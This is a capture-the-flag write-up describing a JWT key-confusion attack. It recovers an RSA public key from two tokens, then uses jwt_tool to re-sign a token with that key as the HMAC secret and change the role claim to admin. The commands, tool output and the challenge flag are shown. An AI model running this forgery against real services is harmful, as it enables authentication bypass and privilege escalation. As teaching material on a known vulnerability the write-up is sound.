Original Writeup on seall.dev

The challenge is back on the same site, this time the mentions of confusing, upgrading and secrets are all pointing us to investigate the JWT token.

The JWT token, once analysed with JWT.io shows it’s a RSASHA256 which takes a public and private key.

I remember an attack on JWT’s from HackTricks, the asymmetric to symmetric algorithm confusion. Perhaps we could use this to forge a signature then change our role!

Essentially, via changing the JWT algorithm from a pub/priv key based auth to a password auth, the public key is used as the secret, therefore validating the signature from public information.

We have to start with getting the public key, let’s recover it with this tool.

$ python3.9 recover.py <jwt-1> <jwt-2>

Recovering public key for algorithm RS256...
Found public RSA key !
n=18395668490321515962087030319752306721215302352329121546271588265329699271878185827633705384944723003501942243273512630731048261573678045465816897505199698932594991022849921367429407953240543762647219245853527843035935582058346410260481189720306522046666115120260221311558521585272748174031980952364058509286838976010428157272444761007973269856583316771877217668791028075516023649740079377123094541694353087709219161934410005183501047896183738255989518508393885465687192370697979955597259147822198971182090756989898071957357113111818112262257364088853589273882806618876708568145123344836554848288619026537386129324017
e=65537
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAkbjFh12wFjB3r5fdXyfB
G5t7KeWFxMIGjSGFDbaQG/QROm4RqXmiC5aNCQlaOVjxXnWUba1Zpi2YeKlzBAgm
NJv3TRZGtuELCOedv3o+QpYhLV3rqNAqVBZlQGzlcA3prtXRA2XIn/6E0AHDirY8
RH0kdawvF0gAUWITe6ijrPXzqR3dmv9r6TaOpBAmkWRhw12yGWgryE05bmKiYe1y
0k2kL1qPb5UISC3GC//9KXmnjMjMJLKG8uL8kIcoSq3zJq/bnC90UVjbJhYHx/Jn
tUwCha073oC7dnbx9np8BVVfAjfuzqaIlI4hDLfCxHod6WtvVArvDpA0bvMpRE13
8QIDAQAB
-----END PUBLIC KEY-----

Cool! Let’s try use jwt_tool to attack it!

$ python3 jwt_tool.py <jwt> -X k -pk secedu.pk -I -pc role -pv admin

This modifies the existing JWT with a key confusion attack, using the public key in the file secedu.pk. It that replaces the role portion of the JWT with admin.

This, does not work, and we got stuck for a long time… Until!

Our goated teammate figured out that the newline at the end of the public key (which should be filtered by jwt_tool imo), was being picked up. Here was the attack chain.

why

Removing the newline (sigh), it works perfectly…

$ python3 jwt_tool.py <jwt> -X k -pk secedu.pk -I -pc role -pv admin

        \   \        \         \          \                    \ 
   \__   |   |  \     |\__    __| \__    __|                    |
         |   |   \    |      |          |       \         \     |
         |        \   |      |          |    __  \     __  \    |
  \      |      _     |      |          |   |     |   |     |   |
   |     |     / \    |      |          |   |     |   |     |   |
\        |    /   \   |      |          |\        |\        |   |
 \______/ \__/     \__|   \__|      \__| \______/  \______/ \__|
 Version 2.2.7                \______|             @ticarpi      

Original JWT: 

File loaded: secedu.pk
jwttool_6971986ee1ad099cf593ea5dc590849a - EXPLOIT: Key-Confusion attack (signing using the Public Key as the HMAC secret)
(This will only be valid on unpatched implementations of JWT.)
[+] ...

Flag: SECEDU{consider_me_confused}